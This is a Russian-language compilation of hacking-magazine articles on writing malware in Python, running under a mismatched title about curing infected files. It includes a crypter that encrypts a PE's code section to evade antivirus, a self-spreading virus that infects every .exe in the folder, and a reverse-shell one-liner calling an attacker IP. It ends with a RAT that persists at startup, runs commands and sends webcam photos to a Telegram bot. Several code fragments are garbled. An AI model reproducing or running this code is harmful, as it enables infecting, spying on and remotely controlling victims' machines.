Как вылечить файл от вируса в питон
Web мы спасли от антивирусов несколько месяцев назад. Это было нетрудно — область относительно новая, не освоенная. С исполнимыми же файлами антивирусы борются уже десятилетиями. Побороть EXE-модуль будет сложнее, но… мы справимся :).
Выпуск 1. Ознакомительный
Ты уже знаешь, что я считаю антивирусы абсолютно бесполезными — хотя бы по той причине, что они помогают только от самых примитивных зверьков, которые в условиях современного денежного малварьбизнеса встречаются не так часто. Современные злокодеры, подогретые денежными вливаниями, научились программировать довольно жестко, но есть у них одна маленькая проблема — криптовка — достаточно сложная штука, для написания которой нужны глубокие знания PE-формата, ассемблера и системного программирования. Из-за высокого «входного барьера» в этой области мало профессионалов.
И найти хорошего криптора ой как сложно.
Но решение проблемы есть! Как мы знаем, антивирусные компании обмениваются технической информацией и создают специальные ресурсы, посредством которых мы сами отсылаем им сэмплы (типа VirusTotal’а). Но ведь и вирмейкеры тоже могут обмениваться информацией! Необязательно палить приватные мазы — публичные технологии тоже сгодятся. Например, было бы круто, если бы в каком-то одном месте лежали функции для генерации PE-файла, генерации импорта, шифрования ресурсов, рабочие функции определения SandBox’ов, тогда мы могли бы создавать крипторы так же непринужденно, как домики из кубиков Лего.
Кроме того, в решении проблемы здорово помогло бы использование высокоуровневых языков программирования. В паблике сейчас валяются исходники крипторов на С++ или VisualBasic’е, но ведь от этого проще не становится, поскольку разобраться в написанном коде — ой как непросто. На Python’е все выглядит в разы лучше, поэтому именно его мы сегодня и будем использовать. В общем, заложим фундамент этой благородной миссии. Присоединяйся!
Выпуск 2. PE-файл
Структура PE-файла довольно сложная, поэтому подробная документация будет ждать тебя на диске, а здесь я представлю твоему вниманию лишь избранные моменты.
PE-файл представляет набор разных служебных структур, связанных между собой, и набор данных, которые размещены в секторах. Загрузчик Windows’a читает структуры, обрабатывает их (например, импортирует DLL’ки) и потом передает управление на инструкцию, указанную в поле «Entry Point».
Теперь посмотрим, что же нужно нам сделать, чтобы изменить файл и при этом не испортить его.
Выпуск 3. Теоретический криптор
Для начала выберем файл, который будет у нас исполнять функции лабораторной мыши. Чтобы сделать приятное Андрюшку :), мы, пожалуй, будем издеваться над Putty.exe. Упрощенно его структура будет выглядеть так:
- Служебные данные
- Первая кодовая секция
- Другие секции с данными
Алгоритм криптора следующий. Создать две ассемблерные программы. Первая будет косить под обычную прогу и проверять, что мы не в эмуляторе, а потом передаст управление на вторую программу. Вторая же восстановит оригинальную структуру файла и передаст управление на оригинальную точку входа Putty. И записать эти программы в файл.
В результате получится следующая структура:
- Служебные данные
- Первая кодовая секция
- Наша первая программа, которая передаст управление на 4.2
- Шифрованный код первой секции
- Часть кодовой секции, перезаписанной программой 2.1
- Вторая программа, которая оригинальный код из 4.1 поместит на 2.1, а потом расшифрует кодовую секцию и передаст на нее управление.
Выпуск 4. Практический криптор
Ну наконец-то мы добрались до сердца нашей статьи. Для работы криптора нам понадобится модуль pefile (будем использовать несколько модифицированную версию), и с помощью либы откроем Putty:
import pefile
pe = pefile.PE("putty.exe")Теперь, если ты напишешь «print pe», то увидишь подробную инфу обо всех характеристиках файла, по этой инфе я советую искать нужные для изменения поля в файле. А о внутренней работе модуля обязательно прочитай во врезке. Теперь немного математики. У нас будут две программы, которые нужно внедрить в файл. Они будут занимать где-то по 512 байт каждая максимум. Поэтому для размещения добавим новую секцию в 1024 килобайт вызовом:
Закриптуем первую секцию XOR’ом с ключом «1»:
Магия, правда? :). А теперь прикинь, что все это пришлось бы писать на С++!
Поскольку в начале программы будет наш код, то сохраним оригинальный код, скопировав его в последнюю секцию. Адрес первой секции в файле находится в переменной — pe.sections[0]. PointerToRawData, а последней, соответственно — в pe.sections[-1].PointerToRawData:
pe.data_copy(pe.sections[0].PointerToRawData, pe.sections[-1].PointerToRawData, 512)
Оригинальный код сохранен, и мы приступим к написанию первой программы. Конечно же, писать мы ее будем на ассемблере, используя FASM для компиляции. Создадим файлик pack.tpl.asm с содержанием:
use32
mov eax, >
jmp eaxТы, наверное, уже догадался, что это не готовый исходник, это лишь шаблон для шаблонизатора из TornadoWeb, а его мы уже отлично знаем, ведь именно его мы использовали при написании HTML-морфера. Сгенерируем первую программу:
asm = Template(open("pack.tpl.asm", "r").read()).generate(
go=pe.OPTIONAL_HEADER.ImageBase + pe.sections[-1].VirtualAddress+512,
)
with open("pack.asm", "w") as f:
f.write(asm)
os.system(r"c:fasmwFASM.EXE pack.asm")В переменной go мы передаем адрес в памяти, где будет наша вторая программа — то есть, в последней секции, начиная с 512 байта. А в последней строчке компилим результат на FASM’е. Теперь запишем получившийся код в начало первой секции:
new_pack = open("pack.bin", "rb").read()
pe.data_replace(offset=pe.sections[0].PointerToRawData, new_data=new_pack)Вторую программу запишем в файл copy.tpl.asm. Размер у нее более внушительный, поэтому полный код смотри на диске. Там содержится два цикла, один скопирует 512 байт оригинальной программы с последней секции в первую, а второй цикл расшифрует всю первую секцию. После этого передается управление на оригинальную программу.
При компиляции темплейта нужно передать туда параметры для циклов копирования и расшифровки:
copy_from = pe.OPTIONAL_HEADER.ImageBase+pe.sections[-1].VirtualAddress
copy_to = pe.OPTIONAL_HEADER.ImageBase+pe.sections[0].VirtualAddress
oep = pe.OPTIONAL_HEADER.ImageBase+pe.OPTIONAL_HEADER.AddressOfEntryPoint
asm = Template(open("copy.tpl.asm", "r").read()).generate( copy_from=copy_from, copy_to=copy_to, copy_len=512, xor_len=pe.sections[0].Misc_VirtualSize, key_encode=1, original_oep=oep,)Остался маленький штришок — записать вторую прогу в файл и сделать первую секцию записываемой, чтобы расшифровщик не выдавал ошибок, а также установить точку входа на начало первой секции:
new_copy = open("copy.bin", "rb").read()
pe.data_replace(offset=pe.sections[-1].PointerToRawData+512, new_data=new_copy)
pe.sections[0].Characteristics |= pefi le.SECTION_CHARACTERISTICS["IMAGE_SCN_MEM_WRITE"]
pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.sections[0].VirtualAddress
pe.write(fi lename="result.exe")Выпуск 5. Завершающий
Если собрать кусочки кода вместе, то будет у нас всего 50 строк. Всего лишь 50 — и криптор готов! А теперь прикинь, сколько строк содержала бы программа на С? Конечно, это еще далеко не готовый продукт, над ним нужно работать и работать. Чтобы довести систему до реального криптора, нужно добавить как минимум шифрование ресурсов и импорта, а также антиэмуляцию. О том как теоретически эти проблемы решить, смотри во врезках. Удачи!
Желательный функционал 1. Обход песочниц
В крипторе нужно делать проверки на запуск в виртуальной машине, SandBox’е или анализаторе типа анубиса. Чтобы их зедетектить, нужно провести небольшое исследование и написать программу, которая будет на экран выводить разные внутренние параметры системы, а дальше — проверить этот файл на том же анубисе и в скриншоте посмотреть параметры, которые показала наша прога. Дальше все просто — при запуске на системе с подобными параметрами — просто уходим в цикл.
Обязательный функционал 2. Шифрование ресурсов и импорта
Для шифрования ресурсов мы должны пройтись по секции ресурсов и сохранить оттуда важные для запуска файла — иконки и манифест. Дальше создаем новые ресурсы с важными ресурсами, а остальное шифруем. После запуска криптора восстанавливаем все обратно.
Несколько сложнее получается с импортом, ведь его также нужно сначала зашифровать, потом сгенерировать липовый импорт, но после восстановления импорт еще нужно вручную проинициализировать, то есть — загрузить DLL’ки и сохранить в таблицу импорта реальные указатели на функции.
Обязательный функционал 1. АнтиЭмуляция
Кроме избавления от внешних сигнатур, очень важно, чтобы антивирус в своем эмуляторе не добрался до исходного файла. Для этого нужна антиэмуляция. Раньше были очень популярны приемы, основанные на предположении, что эмулятор не понимает все инструкции процессора. Сейчас же ситуация изменилась, и самые эффективные приемы основаны на использовании Windows API. Согласись, что антивирус вряд ли сможет эмулировать все API.
Вот тебе такая идейка для реализации:
Внутренности Антивирусов
В упрощенном виде, антивирус — это набор правил (сигнатур) и система, которая проверяет файл по этим правилам.
К примеру, пусть в антивирусе будут такие сигнатуры:
- секция с кодом, записываемая +10;
- после запуска прописывается в авторан +30;
- вторая секция с именем Zeus +30;
- меньше 4 энтропия кодовой секции +20;
- есть сертификат от майкрософта -10.
Дальше антивирь проверяет те правила, которые возможно проверить без запуска EXE, потом в эмуляторе запускает файл и проверяет все остальные правила. А после этого подсчитывает сумму, если она больше 100, значит вирус, если меньше — значит не вирус.
Как работает pefile
При загрузке в pefile экзэхи, библиотека сохраняет сам файл в pe.data, а потом обрабатывает его и создает массив структур pe.structures. Структура — это объект, у которого есть адрес. Адрес, по которому она находится в файле, и есть набор полей.
Новый год — самое время для легких извращений. Хотя для тебя, читающего эту статью практически весной, год уже не новый, да и сама идея изучения вируса, написанного на питоне, может показаться вовсе даже не легким извращением…
Как известно, с помощью питона можно решать множество повседневных, рутинных задач: периодическое резервное копирование файлов, отправка писем по электронной почте, поиск и выполнение различных действий с файлами на жестком диске и прочее. Так как Python является языком программирования высокого уровня, то и вирусы на нем можно писать соответствующие. Зловреды, созданные с помощью ЯВУ, обычно классифицируются как HLLx (High Level Language, x — метод размножения).
Существуют три основных подвида HLLx-вирусов: оверврайтеры (Overwrite) — HLLO, компаньоны (Companion) — HLLC и паразиты (Parasitic) — HLLP.
Первые являются достаточно примитивными программами, которые просто перезаписывают код жертвы своим кодом, вследствие чего оригинальная программа перестает существовать. Такие вирусы очень просты и весьма разрушительны. В результате эпидемии такой заразы пользовательский компьютер практически полностью лишается всего установленного ПО. Ничем иным кроме вандализма это назвать нельзя.
Вирусы-компаньоны более гуманны к исполняемым файлам, которые они «заражают». Слово «заражают» я специально взял в кавычки, так как на самом деле HLLC-зловреды просто присваивают себе имя жертвы, а оригинальный экзешник переименовывают (а могут и зашифровать — прим. ред.) во что-нибудь другое. Таким образом, они подменяют пользовательский софт своими копиями, а для большей маскировки запускают оригинальную программу из файла с новым именем. И пользователь доволен, и вирус остался жив. HLLP являются самыми продвинутыми из ЯВУ-вирусов. Они внедряются непосредственно в файл-жертву, сохраняя при этом работоспособность оригинального кода. Из-за особенностей высокоуровневых языков программирования полноценного инжекта, как у «взрослых» вирусов на ассемблере, добиться очень сложно. Поэтому паразиты получаются не слишком элегантными созданиями, но, к сожалению, это практически потолок того, что можно выжать из ЯВУ.
В связи с тем, что как HLLO-, так и HLLC-вирусы слишком примитивны и практически не встречаются в дикой природе, мы займемся разработкой здовреда-паразита. Основной метод, используемый ими для заражения — внедрение в один файл с кодом-жертвой.
Таким образом сохраняется код оригинальной программы, и при этом не появляется никаких лишних следов.Существует много вариаций на тему HLLP-зловредов, но мы реализуем самую простую из них. Вирус будет писать в начало файлажертвы свое собственное тело — целиком, со всеми заголовками и служебными структурами. Код «хорошей» программы при этом будет смещен на длину вируса. То есть, сначала будет выполняться вирус, который в конце своего черного дела запустит оригинальную программу, чтобы лишний раз не вызывать подозрения у пользователя. По традиции взглянем на код:
Код HLLP-вируса
import sys
import os
import shutil
virPath = os.path.split(sys.argv[0]);
names = os.listdir('.');
fvir = open(sys.argv[0], 'rb');
virData = fvir.read(19456);
for name in names:namePair = os.path.splitext(name);
if namePair[1] == '.exe' and
name != virPath[1]:os.rename(name, name + 'tmp');
fprog = open(name + 'tmp', 'rb');
progData = fprog.read();
fnew = open(name, ‘wb’);
fnew.write(virData + progData);
fnew.close();
fprog.close();
os.remove(name + 'tmp');
origProgData = fvir.read();
origProg = 'original_' + virPath[1];
forig = open(origProg, 'wb');
forig.write(origProgData);
fvir.close();
forig.close();
os.execl(origProg, ' ');Первым делом мы подключаем три модуля: sys, os, shutil. Модуль sys дает доступ к переменным, которые тесно связаны с интерпретатором или с выполняемым скриптом. Так, например, мы получаем имя выполняемого скрипта с помощью команды sys.argv[0]. Модуль os дает возможность выполнения команд, зависящих от операционной системы. Например, получить список файлов в директории, произвести над ними некоторые операции и так далее. Наконец, модуль shutil дает возможность копировать и перемещать файл на жестком диске.
После импорта нужных нам модулей мы узнаем имя файла, в котором содержится исходный код вируса. Затем с помощью команды os.listdir('.') получаем список файлов в текущей директории и проверяем, является ли очередной объект в списке экзешником.
Если проверка это подтверждает, то инфицируем найденный файл, просто заменив его собой. Если ты читал внимательно, то заметил, что в условии оператора if присутствует еще вот такая инструкция:а перед этим выполняется команда
Для чего это нужно, я расскажу в конце статьи, а пока двинемся дальше. Перед оператором if мы считываем в память собственное содержимое. Делается это с помощью команды fvir. read(19456). Число 19456 — это длина вируса (мы ведь должны учесть, что в файле находится не только вирус, но и жертва). Почему эта длина именно такая, я скажу чуть позже. Следующим шагом находим в текущей папке все exe’шники и заражаем их. Для этого, заранее переименовав невинную программку, мы читаем ее код в буфер, затем создаем новый файл с нужным нам именем и пишем туда сначала тело вируса, а после — считанный только что буфер. Далее сохраняем все это хозяйство и удаляем оригинальный файл жертвы с помощью команды os.remove(name+'tmp').
Теперь наступает самый ответственный момент — нам надо запустить оригинальный код, который мы предварительно засунули внутрь зловреда. Для этого просто читаем оставшиеся данные из образа вируса (мы ведь помним, что уже читали 19456 байт и указатель сместился в файле на эту позицию?), а затем сохраняем полученные данные во временный exe, который потом запускаем. Таким образом вирус корректно отработал, и при этом запустил нужную для пребывающего в счастливом неведении пользователя программу.
Конечно, наш зловред получился вовсе не без недостатков. Например, он не проверяет, инфицирован ли уже экзешник или нет, да и вбивать в код размер конечного файла вируса — не совсем удачное решение. Кроме того, у нашего питомца будут возникать проблемы при первом запуске, когда в образе находится только тело виря, а тело жертвы отсутствует. Но все эти проблемы при определенном старании вполне решаемы.
Главное для нас — продемонстрировать принцип работы.
Сетевой червь
Мы сделали классического инфектора, который распространяется путем заражения близлежащих программ. Но ведь есть еще и сетевые черви, которые используют интернет для порабощения мира. Зловреды такого типа не интересуются файловой системой компьютера, им нужен доступ в сеть.
Для распространения черви пользуются дырами в операционной системе и прикладных программах, рассылают себя по электронной почте и так далее. Мы попробуем сделать вирус, который будет использовать именно e-mail’ы.
Отправка письма
Отправка письма с вложением
Несколько замечаний
Самые сообразительные могут задать один маленький вопрос: «Питон — это скрипты, а exe — бинари. Как скриптом можно заразить исполняемый файл Windows?». Ответ на него очень прост — питоновские скрипты можно конвертировать в exeфайлы. Да-да, и делается это очень легко. Тут я описывать процесс не буду (ты ведь не хочешь, чтобы младшая сестренка, взяв в руки ][, получила бы исчерпывающее руководство по уничтожению твоего же компа :)), так что за подробностями — к Гуглу.
В связи с тем, что наши вирусы будут выполняться не как скрипты, а как полноценные win-приложения, в коде встретилась пара непонятных вещей, о которых я обещал рассказать позже. Первая из них — это вызов os.path.split(). Дело в том, что если мы запускаем питон-скрипт, то команда sys.argv[0] возвращает имя этого скрипта (например, virus.py). В случае же с exeфайлом результат будет другой — полный путь и имя экзешника (C:\Windows\virus.exe). А так как для дальнейших злодеяний нам нужно только имя файла, то мы вызываем os.path.split().
Еще одна загадка — это число 19456. Но тут уже легко можно догадаться, что это размер exe, полученного после конвертации скрипта. Ровно столько у меня весил зловред после своего перерождения в бинарный формат.
Заключение
Конечно, написание зловредов на Python — то еще извращение, но при большом желании такие поделки можно отшлифовать до нужной степени работоспособности, поставить на полку и всем показывать. К тому же вирус будет кроссплатформенным, а этим не каждый крутой вирмейкер может похвастаться :).
В мире существует много явлений с сомнительной и спорной репутацией. Например, сюда можно отнести хоккей на траве, датскую квашеную селедку и мужские трусы-стринги. А еще к этому списку можно с абсолютной уверенностью добавить вирусы на Python.
Трудно сказать, что толкает людей на создание вредоносного ПО на этом языке программирования. Обилие выпускников “шестимесячных курсов Django-программистов” с пробелами в базовых технических познаниях? Желание нагадить ближнему без необходимости учить C/C++? Или благородное желание разобраться в технологиях виримейкерства путем создания небольших прототипов вирусов на удобном языке?
Если отбросить часть иронии…
… и вникнуть в ситуацию, то становится видно, что адекватные питонячие зловреды не только существуют, но и успешно заражают компьютеры. Их мало, они относительно легко вычисляются антивирусами (полиморфный код в питонячих вирусах невозможен, об этом поговорим чуть ниже), но и общая компьютерная грамотность среднего пользователя невысока, что дает этим вирусам шанс на выживание и успешное заражение.
Есть продвинутый бэкдор Seaduke, родившийся где-то на территории России и принадлежащий к семейству Duke. По этому семейству вирусов есть подробный доклад. Исходные тексты Seaduke удалось восстановить, текст доступен для прочтения на github.
Есть PWOBot, на протяжении нескольких лет успешно заражавший компы в Восточной Европе (преимущественно в Польше). Есть PoetRAT, заразивший в начале этого года государственные компьютеры в Азербайджане. PoetRAT — вполне зрелый образец вредоносного кода, способный воровать учетки, делать снимки с камеры и логировать нажатия клавиш. Есть еще несколько десятков примеров вирусов на Python, которые успешно расселились по интернету в достаточном количестве, чтобы попасться в поле зрения кибербезопасников.
Как нам теперь становится ясно, тема питонячих вирусов — совсем не такая дохлая, как кажется на первый взгляд. Давайте вместе посмотрим на то, как и с какими библиотеками пишутся зловреды на Python.
Упаковка в бинарники
Поскольку Python — язык интерпретируемый, это создает некоторые трудности при дистрибуции зловредов: нужно, чтобы в ОС был интерпретатор нужной версии, а все необходимые библиотеки были установлены в правильные места на диске. Все это сильно мешает типу программ, который должен сам себя устанавливать и запускать. Поэтому питонячие вирусы, направленные на заражение клиентских машин (а ведь можно еще и заражать серверы) принято упаковывать в бинарный исполняемый файл, который содержит в себе либо интерпретатор с библиотеками в архиве, либо двоичную программу, собранную на основе Python кода.
Антивирусы умеют распознавать шаблоны и типичные структуры вирусов, так они вычисляют зловредные программы по их типичным последовательностям байтов. Чтобы скрыться от антивируса, виримейкеры делаю свой код самомодифицируемым — при каждой новой установке зловред переписывает свой код и порождает все новые и новые варианты двоичного файла, которые уже не опознаются антивирусами. Такой подход называется полиморфным кодированием и его невозможно применять в случае, если вы работаете с Python кодом, транслируемым в бинарник. Лишенные основного инструменты противостояния антивирусам, питонячие зловреды весьма уязвимы даже перед самыми простыми антивирусными программами.
Но на многих компах сегодня нет ативирусов, поэтому вирусы на Python способы выживать и активно размножаться.
А шо вирусу делать?
Зловредам надо как-то общаться со своими владельцами, получать от них команды и обновления, передавать им добытые данные. Без обратной связи вирусы могут только мелко хулиганить.
Для общения нужен какой-то удаленный адрес, с которым осуществляется обмен информацией. Регать домен и покупать сервер — палевно: владельца вируса можно легко вычислить. Конечно, есть всякие анонимные хостинги и регистраторы доменов сомнительной честности, но и с ними риски не минимальны.
Более безопасный вариант — мессенджеры (IRC, Jabber) и, конечно же, Tor.
Для обмена данными с хозяевами вирусы используют библиотеку torpy. В ней все предельно просто — заводишь список адресов (на всякий случай, вдруг один из хостов отвалится), коннектишься к доступным и получаешь апдейты к вирусу или команды.
Работа с tor c этой либой проста, не сложнее requests.
А шо бы своровать?
Воровство персональных данных — важная часть жизни любого вируса. Вопрос поиска и парсинга различных файлов с паролями перед программистами не стоит — это легко делается штатными средствами Python. Перехват нажатий клавиш в ОС — сложнее, но это можно нагуглить. Для работы с вебкой — OpenCV. Единственное, что вызывает вопросы — как делать скриншоты из Python?
На выручку приходит pyscreenshot. Предвосхищая ваши вопросы, скажу, что магии внутри библиотеки нет — она не умеет из Питона читать буфер экрана. В основе этого пакета лежит коллекция костылей и подпорок, которые определяют тип ОС, в которой работает ваша программа и дальше идет поиск внутри операционки доступных инструментов для снятия скриншотов.
Звучит это все очень ненадежно, но библиотека адекватно справляется со снятием изображений с экрана на всех популярных платформах.
Серверная токсичность
Бэкдоры на Python для серверов тоже встречаются в природе. Они тоже способны гадить в вашей системе, но механизмы работы у них уже другие.
Например, питонячему серверному вирусу не обязательно упаковываться в бинарник — интерпретатор Python есть на многих серваках: можно запускаться на нем. Поэтому авторы зловредов для серверного применения вместо упаковки кода используют обфускацию — запутывание исходников так, чтобы их невозможно было прочитать.
Один из самых популярных инструментов для обфускации — pyarmor. Одна команда легко превращает ваш код в нечитаемую хрень и усложняет понимание текста программы. Тема обфускации кода вообще сама по себе очень интересна, для углубления познаний по этой теме рекомендую ознакомиться с книгой. Pyarmor пригодится не только авторам вирусов, но и тем, кто хочеть по каким-то причинам защитить исходники от легкого прочтения.
Вторая вещь, на которую нужно обратить внимание авторам серверного вредоносного ПО — наличие библиотек.
Вот и все
Это далеко не полный список того, что используют авторы зловредов на Python. Описанные выше инструменты и подходы научат вас тому, как мыслят вирусописатели и чем могут быть опасны подозрительные питонячие скрипты.
Внимательно относитесь к малоизвестным зависимостям и пакетам, которые ставите в свои проекты. Не доверяйте обфусцированному коду и всегда просматривайте код малознакомых библиотек перед запуском.
Чтобы получить контроль над скомпрометированной системой, злоумышленник обычно стремится получить доступ к интерактивной оболочке для выполнения произвольной команды. С таким доступом они могут попытаться повысить свои привилегии, чтобы получить полный контроль над операционной системой. Однако большинство систем находятся за брандмауэрами, и прямые подключения к удаленной оболочке невозможны. Одним из методов, используемых для обхода этого ограничения, является reverse shell.
Reverse Shell (или Reverse TCP, или connect-back, или обратное подключение) — это схема взаимодействия с удалённым компьютером. При её использовании нужно, чтобы атакующий сначала запустил на своей машине сервер, при этом целевая машина будет играть роль клиента, который подключается к этому серверу, после чего атакующий получает доступ к оболочке целевого компьютера.
Основной причиной, по которой злоумышленники часто используют обратные оболочки, является то, как настроено большинство брандмауэров. Атакованные серверы обычно разрешают соединения только через определенные порты. Например, выделенный веб-сервер будет принимать подключения только через порты 80 и 443. Это означает, что на атакованном сервере невозможно установить прослушиватель.
Netcat — утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и передавать их. Несмотря на свою полезность и простоту, многие не знают способы ее применения и незаслуженно обходят ее стороной.
С помощью данной утилиты можно производить некоторые этапы при проведении тестирования на проникновение. Это может быть полезно, когда на атакованной машине отсутствуют (или привлекут внимание) установленные пакеты, есть ограничения (например IoT/Embedded устройства) и т.д.
Что можно сделать с помощью netcat:
Вместо netcat, мы будем использовать собственный клиент-сервер на питоне, но прежде, чем перейдем к написанию такого софта, стоит ознакомится с примера создания reverse shell и их использованием в связке с netcat.
Создать обратные оболочки очень просто, используя разные инструменты и языки. Во-первых, вам нужен слушатель на вашей локальной машине с публичным IP. На компьютере с Linux все, что вам нужно, это следующая команда netcat:
И сам реверс шел на пайтоне:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Внушительный список шелов на разных языках вы можете найти в репозитории гитхаба:
Создание программы
Сервер
Начнем с создания сервера. Нам понадобиться библиотека socket, она уже предустановлена в питоне поэтому никаких других библиотек не понадобится.
Импортируем библиотеки и создаем ключевую переменную:
import socket
import syss = socket.socket(socket.AF_INET, sock et.SOCK_STREAM)
Теперь создадим простенькую функцию, в которой будем проверять введен ли порт для прослушивания:
Usage: python3 reverse_shell_server.py <port>
Главная функция в которой будет обработчик команд:
В конце фала пишем это:
if __name__ == '__main__':
main()Таким образом мы запустим функцию main.
Клиент
Нужные переменные и библиотеки:
import os
import socket
import subprocess
from time import sleepНапишем небольшую функцию, которая будет помещать наш скрипт в автозагрузку:
RAT already at startup folder
Если же файл добавился в автозагрузку:
RAT added at startup folder
Функция подключение к серверу:
s.connect((HOST, PORT)) – подключает сокет к айпи и порту который мы указали раннее.
session() – запустит функцию которую мы сейчас напишем.
if cmd == 'shutdownrat':
s.close()
exit(0)Основа обработчика готова, теперь нужно добавить команд и исключений к ним же. Команды будут выглядеть следующим образом:
If cmd == ‘название_команды’
Функция которую вы хотите выполнять
Теперь сделаем универсальную функцию которая будет брать команду и выполнять ее, дабы не писать кучу elif:
Функция скачивания файлов:
Вместо одного файла вы можете сделать функцию которая соберет все txt файлы на рабочем столе в архив и уже его отправит вам, но я это показывать не буду, вместо этого мы сделаем еще одну команду которая будет POST запросом слать нам фото с вебкамеры в телеграм бота:
from requests import post
try:
camera_port = 0
cap = VideoCapture(camera_port, CAP_DSHOW)
for i in range(30):
cap.read()
ret, frame = cap.read()
imwrite(r"C:\Windows\Temp\screen.jpg", frame)
cap.release()
destroyAllWindows()
photo = open(r"C:\Windows\Temp\screen.jpg", 'rb')
files =
post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id del C:\Windows\Temp\screen.jpg")
except Exception as ex:
s.send(bytes("Error:\n" + str(ex) + "\n", encoding="utf-8", errors="ignore"))Ну и в обработчике команд это будет выглядеть следующим образом:
elif cmd == "webcam":
try:
web_cam()
pwd = os.getcwd()
s.send(bytes(pwd, encoding="utf-8", errors="ignore"))
except Exception as ex:
s.send(bytes("Error:\n" + str(ex) + "\n", encoding="utf-8", errors="ignore"))В конце фала пишем это:
if __name__ == '__main__':
main()Таким образом мы запустим функцию main.
Заключение
Теперь ты знаешь как написать не только хитрый однострочик но и полноценный бэкдор который передоставит управление машиной. Думаю, ты уже ощущаешь невероятную мощь и готов к экспериментам. Желаю удачи с ними!
Вес скомпилированного ехе без управления вебкамерой примерно 9 мегабайт, весь проект вы можете скачать тут:
Данная статья написана только в образовательных целях и автор не несёт ответственности за ваши действия. Ни в коем случае не призываем читателей на совершение противозаконных действий.
Читайте также: